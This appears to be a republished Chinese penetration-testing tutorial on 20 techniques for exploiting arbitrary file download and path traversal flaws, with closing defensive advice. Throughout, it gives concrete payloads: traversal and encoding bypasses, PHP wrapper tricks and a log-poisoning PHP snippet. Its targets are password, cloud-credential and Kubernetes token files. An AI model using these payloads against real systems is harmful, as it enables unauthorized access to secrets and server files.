20个任意文件下载漏洞挖掘技巧(附实战案例)

华盟原创文章投稿奖励计划

任意文件下载漏洞源于应用对用户输入的路径校验缺失,攻击者可通过构造恶意请求读取服务器敏感文件(如配置文件、源码、密钥等),甚至间接导致远程代码执行。据渗透测试统计,该漏洞在文件下载、图片预览、文档查看等功能中很容易出现,是 Web 安全的高频风险点。


一、基础路径篡改技巧

1. 经典相对路径遍历

原理:利用../序列向上跳转目录,突破 Web 根目录限制。

实操:拦截文件请求(如/download?file=report.pdf),替换为../../etc/passwd(Linux)或../../windows/system.ini(Windows)。

案例

:某商平台图片加载接口/image?filename=product.jpg,通过../../../var/www/config.php成功下载数据库配置文件。

防御:递归过滤../序列,限制路径跳转深度。

2. 绝对路径直接访问

原理:部分应用仅过滤相对遍历符,对绝对路径校验缺失。

实操:直接传入系统敏感文件绝对路径,如/download?file=/etc/shadow(Linux)或/download?file=C:\boot.ini(Windows)。

注意:Windows 系统需注意路径分隔符,可尝试\/混用(如C:/Windows/repair/sam)。

3. 路径参数拼接绕过

原理:应用将用户输入与固定前缀拼接时,可通过截断或跳转突破限制。

实操:若代码为$path = "/var/www/files/" . $_GET['file'],构造file=../config.php,最终路径变为/var/www/files/../config.php

变种:针对$path = $_GET['dir'] . "/report.pdf",传入dir=../../etc实现路径跳转。

4. 文件名截断攻击

原理:利用特殊字符截断后端路径拼接,移除多余后缀。

实操

  • • 空字节截断:/download?file=../../etc/passwd%00.pdf(适用于 PHP < 5.3.4)电
  • • 问号截断:/download?file=../../config.php?(服务器将?后视为参数)案例:某 PHP 应用通过?截断成功绕过.pdf后缀限制,读取源码文件。

5. 多操作系统路径适配

原理:不同系统路径特性差异可突破通用过滤。

实操

  • • Linux:利用.././(如../../usr/local/apache/conf/httpd.conf
  • • Windows:支持..\/混用(如..\..\Windows\system32\drivers\etc\hosts
  • • 通用:尝试~符号访问用户目录(如~/../etc/passwd

二、过滤绕过进阶技巧

6. 嵌套遍历序列绕过

原理:针对非递归过滤的应用,嵌套../变体可还原有效路径。

实操:若过滤器单次移除../,构造....//....//etc/passwd,过滤后还原为../../etc/passwd

变种..\/.%2e/等变形符号(需结合编码使用)。

7. 多轮编码解码绕过

原理:利用应用与服务器的编码解码差异,隐藏遍历符号。

实操

  • URL 双重编码:../ → %252e%252e%252f(服务器解码两次后还原)
  • • Unicode 编码:../ → ..%u2216(部分 Java 应用可解析)
  • 十六进制编码../ → %2e%2e%2f(针对 URL 解码后校验的场景)

8. 伪协议替代访问

原理:后端语言伪协议可绕开路径限制直接读取文件。

实操

  • • PHP:php://filter/read=convert.base64-encode/resource=../../config.php(Base64 编码避免乱码)
  • • Java:file:///etc/passwd(需后端支持文件协议)
  • • Python:file:///var/www/secret.key(Flask 框架常见)注意:需确认后端语言类型,避免无效尝试。

9. 文件后缀模糊匹配

原理:应用通过后缀白名单校验时,可添加无效后缀绕过。

实操:若仅允许.pdf,构造../../etc/passwd.pdf(部分应用仅校验后缀存在性)。

变种

  • • 空格后缀:passwd.pdf (Windows 系统忽略末尾空格)
  • • 多后缀:passwd.php.pdf(部分解析器优先识别首个后缀)

10. HTTP 方法切换绕过

原理:部分接口仅在 GET 方法校验路径,POST 方法可绕过。

实操

  1. 1. 原请求:GET /download?file=report.pdf(过滤../
  2. 2. 改为 POST:POST /download,Body 中file=../../etc/passwd案例:某政务系统文件下载接口,POST 方法未校验路径导致敏感数据泄露。

三、服务器与组件特性利用

11. 中间件配置缺陷利用

原理:服务器配置错误可直接引发文件下载漏洞。

实操

  • • Apache:Options +Indexes开启时,访问/files/../../可列出目录文件
  • • Nginx:alias 配置错误,如location /files/ { alias /var/www/; },构造/files../etc/passwd
  • • IIS:~/符号解析漏洞,/download?file=~/../web.config防御:禁用目录浏览,严格配置 alias 与 root 路径。

12. 第三方组件已知漏洞

原理:复用公开组件漏洞直接读取文件。

实操

  • • Jenkins:利用 CVE-2024-23897,通过@/etc/passwd参数读取文件(需访问权限)
  • • Tomcat:未授权访问/manager/text/list获取路径,再构造下载请求
  • • Weblogic:CVE-2020-14882 漏洞可读取任意文件工具:使用 Nuclei 扫描组件版本匹配漏洞。

13. 日志文件联动读取

原理:先写入恶意路径到日志,再通过漏洞读取日志获取敏感信息。

实操

  1. 1. 访问/index.php?file=<?php echo file_get_contents('/etc/passwd');?>,将 Payload 写入 Apache 日志
  2. 2. 通过漏洞下载/var/log/apache2/access.log,执行嵌入的 PHP 代码注意:需确认日志路径与权限(通常www-data可读取)。

14. 容器与云环境特性

原理:容器化部署存在特殊敏感文件路径。

实操

  • • Docker:/proc/self/cgroup(获取容器 ID)、/var/run/secrets/``kubernetes.io/serviceaccount/token(K8s 令牌)
  • • 云服务器:/etc/aws/credentials(AWS 密钥)、/root/.aliyun/config.json(阿里云配置)案例:某容器化应用通过../proc/self/environ获取 JENKINS_HOME 路径,进而下载密钥。

15. 符号链接文件利用

原理:Linux 系统符号链接可映射敏感文件到可访问目录。

实操

  1. 1. 若存在文件上传功能,上传包含ln -s /etc/passwd /var/www/html/link.txt的脚本
  2. 2. 通过漏洞下载link.txt获取/etc/passwd内容限制:需应用允许执行命令或上传脚本可被解析。

四、工具辅助与实战技巧

16. 敏感路径字典爆破

原理:基于常见路径字典批量探测可下载文件。

实操

  • • 工具:Burp Intruder 加载字典(含系统配置、应用源码、数据库备份等路径)
  • • 字典示例:/etc/passwd/var/www/config.phpC:\xampp\mysql\data\mysql\user.MYD
  • • 技巧:结合目标技术栈(如 ThinkPHP 对应/Application/Common/Conf/config.php

17. 响应内容特征识别

原理:通过响应长度与关键词判断文件是否存在。

实操

  • • 存在标志:响应长度 > 0、含root:x:0:0(Linux)或[boot loader](Windows)
  • • 不存在标志:“文件不存在” 提示、响应码 404/403(需排除假阳性)工具:Burp 添加响应匹配规则自动标记有效结果。

18. 环境变量泄露利用

原理:先读取环境变量获取关键路径,再精准下载文件。

实操

  • • Linux:/proc/self/environ(获取 JENKINS_HOME、PATH 等)
  • • Windows:%SYSTEMROOT%\system32\cmd.exe /c set(需命令执行权限)案例:通过/proc/self/environ找到JENKINS_HOME=/var/jenkins_home,进而下载secrets/master.key

19. 跨漏洞场景联动

原理:结合文件上传、SQL 注入等漏洞提升攻击效果。

实操

  1. 1. 上传含路径信息的图片(如嵌入<?php echo __FILE__;?>
  2. 2. 通过文件包含漏洞解析图片,获取 Web 根目录路径
  3. 3. 构造精准路径下载/var/www/.env配置文件防御:实施最小权限原则,避免单一漏洞引发连锁风险。

20. 自动化工具深度探测

原理:利用专业工具覆盖手工测试盲区。

推荐工具

  • • 静态扫描:Semgrep(检测代码中file_get_contents($_GET['file'])等危险函数)
  • • 动态扫描:OWASP ZAP(路径遍历插件自动生成 Payload)
  • • 专项工具:LFISuite(本地文件包含漏洞专用探测工具)注意:工具结果需人工验证,排除误报。

防御建议

  1. 1. 输入校验:递归过滤../等遍历符号,限制路径在预设目录内(如realpath()函数校验)。
  2. 2. 权限控制:运行 Web 服务的用户(如 www-data)仅授予最小文件读取权限。
  3. 3. 路径映射:采用文件 ID 替代真实路径(如数据库存储1->report.pdf,通过 ID 查询路径)。
  4. 4. 版本管控:及时修复 Jenkins、Tomcat 等组件已知漏洞(参考 CVE 数据库)。
  5. 5. 日志审计:监控异常文件访问(如频繁请求/etc/passwd),触发告警机制。


文章来源:HACK之道

本文来源HACK之道,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表回复